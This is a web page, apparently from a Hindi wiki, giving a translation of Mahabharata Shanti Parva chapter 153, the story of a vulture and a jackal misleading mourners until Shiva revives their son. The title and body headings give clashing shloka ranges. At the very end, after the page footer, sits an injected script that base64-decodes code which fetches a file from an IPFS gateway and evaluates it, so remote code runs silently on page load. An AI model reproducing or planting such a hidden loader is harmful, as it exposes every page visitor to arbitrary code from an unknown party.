महाभारत शान्ति पर्व अध्याय 153 श्लोक 103-122

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ

त्रिपञ्चाशदधिकशततम (153) अध्याय: शान्ति पर्व (आपद्धर्म पर्व)

महाभारत: शान्ति पर्व: त्रिपञ्चाशदधिकशततम अध्याय: श्लोक 1-17 का हिन्दी अनुवाद

सियार बोले-ठहरो, ठहरो। जब तक यहां सूर्य का प्रकाश है, तब तक तुम्‍हें बिल्‍कुल नहीं डरना चाहिये। उस समय तक इस बालक पर स्नेह करके इसके प्रति ममतापूर्ण बर्ताव करो। निर्भय होकर दीर्घकाल तक इसे स्‍नेहदृष्टि से देखो और जी भरकर रो लो। यद्यपि

यह वन्‍य प्रवेश भंयकर है तो भी यहां तुम्‍हें कोई भय नहीं होगा; क्योंकि यह भू-भाग पितरों का निवास-स्थान होने के कारण श्‍मशान होता हुआ भी सौम्‍य है। जब तक सूर्य दिखायी देते हैं, तब तक यहीं ठहरो। इस मांसभक्षी गीध के कहने से क्या होगा? यदि तुम मोहितचित होकर इस गीध की घोर एवं घबराहट में डालने वाली बातों में आ जाओगे तो इस बालक से हाथ धो बैठोगे। भीष्‍मजी कहते हैं- राजन्! वे गीध और गीदड़ दोनों ही भूखे थे और अपने उद्देश्‍य की सिद्धि के लिये मृतक के बन्‍धु–बान्‍धावों से बातें करते थे। गीध कहता था कि सूर्य अस्‍त हो गये और सियार कहता था नहीं। राजन्! गीध और गीदड़ अपना-अपना काम बनाने के लिये कमर कसे हुए थे। दोनों का ही भूख और प्‍यास सता रही थी और दोनों ही शास्‍त्र का आधार लेकर बात करते थे। उनमें से एक पशु था और दूसरा पक्षी। दोनों ही ज्ञान की बातें जातने थे। उन दोनों के अमृतरूपी वचनों से प्रभावित हो वे मृतक के संबंधी कभी ठहर जाते और कभी आगे बढ़ते थे। शोक और दीनता से आविष्‍ट होकर वे उस समय रोते हुए वहां खड़े ही रह गये। अपना–अपना कार्य सिद्ध करने में कुशल गीध और गीदड़ ने चालाकी से उन्‍हे चक्‍कर में डाल रखा था। ज्ञान-विज्ञान की बातें जानने वाले उन दोनों जन्‍तुओं में इस प्रकार वाद–विवाद चल रहा था और मृतक के भाई–बन्‍धु वहीं खडे़ थे। इतने ही में भगवती श्री पार्वतीदेवी की प्रेरणा से भगवान शंकर उनके सामने प्रकट हो गये। उस समय उनके नेत्र करूणारस से आर्द्र हो रहे थे। वरदायक भगवान शिव ने उन मनुष्‍यों से कहा- ‘मैं तुम्‍हें वर दे रहा हूं। तब वे दुखी मनुष्‍य भगवान को प्रणाम करके खड़े हो गये और इस प्रकार बोले- ‘प्रभों! इस इकलौते पुत्र से हीन होकर हम मृतकतुल्‍य हो रहे हैं। आप हमारे इस पुत्र को जीवित करके हम समस्‍त जीवनार्थियों को जीवनदान देने की कृपा करें। उन्‍होंने जब नेत्रों में आंसू भरकर भगवान शंकर से इस प्रकार प्रार्थना की, तब उन्‍होंनेउस बालक को जीवित कर दिया और उसे सौ वर्षों की आयु प्रदान की। इतना ही नहीं, सर्वभूतहितकारी पिनाकपाणि भगवान शिव ने गीध और गीदड़ को भी उनकी भूख मिट जाने का वरदान दे दिया। राजन्! तब वे सब लोग हर्ष से उल्‍लसित एवं कृतकार्य हो महादेवजी को प्रणाम करके सुख और प्रसन्नता के साथ वहां से चले गये।। यदि मनुष्‍य उकताहट में न पड़कर दृढ़ एवं प्रबल निश्‍चय के साथ प्रयत्‍न करता रहे तो देवाधिदेव भगवान शिव के प्रसाद शीघ्र ही मनोवांछित फल पा लेता है। देखो, दैवका संयोग और उन बंधु–बंध्‍वों का दृढ़ निश्‍चय; जिससे दीनता पूर्वक रोते हुए मनुष्‍यों का आंसू थोडे़ ही समय में पोंछा गया। यह उनके निश्‍चयपूर्वक किये हुए अनुसंधान एवं प्रयत्‍न का फल है। भगवान शंकर की कृपा से उन दुखी मनुष्‍यों ने सुख प्राप्‍त कर लिया। पुत्र के पुनर्जीवन से वे आश्‍चर्यचकित एवं प्रसन्‍न हो उठे। राजन्! भरतश्रेष्‍ठ! भगवान शंकर की कृपा से वे ४८२ सब लोग तुरंत ही पुत्रशोक त्‍यागकर प्रसन्‍नचित्‍त हो पुत्र को साथ ले अपने नगर को चले गये। चारों वर्णों में उत्‍पन्‍न हुए सभी लोगों के लिये यह बुद्धि प्रदर्शित की गयी है। धर्म, अर्थ और मोक्ष से युक्‍त इस शुभ इतिहास को सदा सुनने से मनुष्‍य इहलोक और परलोक में आन्‍नद का अनुभव करता है।

इस प्रकार श्री महाभारत शान्तिपर्व के अंतर्गत आपद्धर्मपर्व में गीदड–गोमायुका संवाद एवं मरे हुए बालक का पुनर्जीवनविषयक एक सौ तिरपनवां अध्‍याय पूरा हुआ।


« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>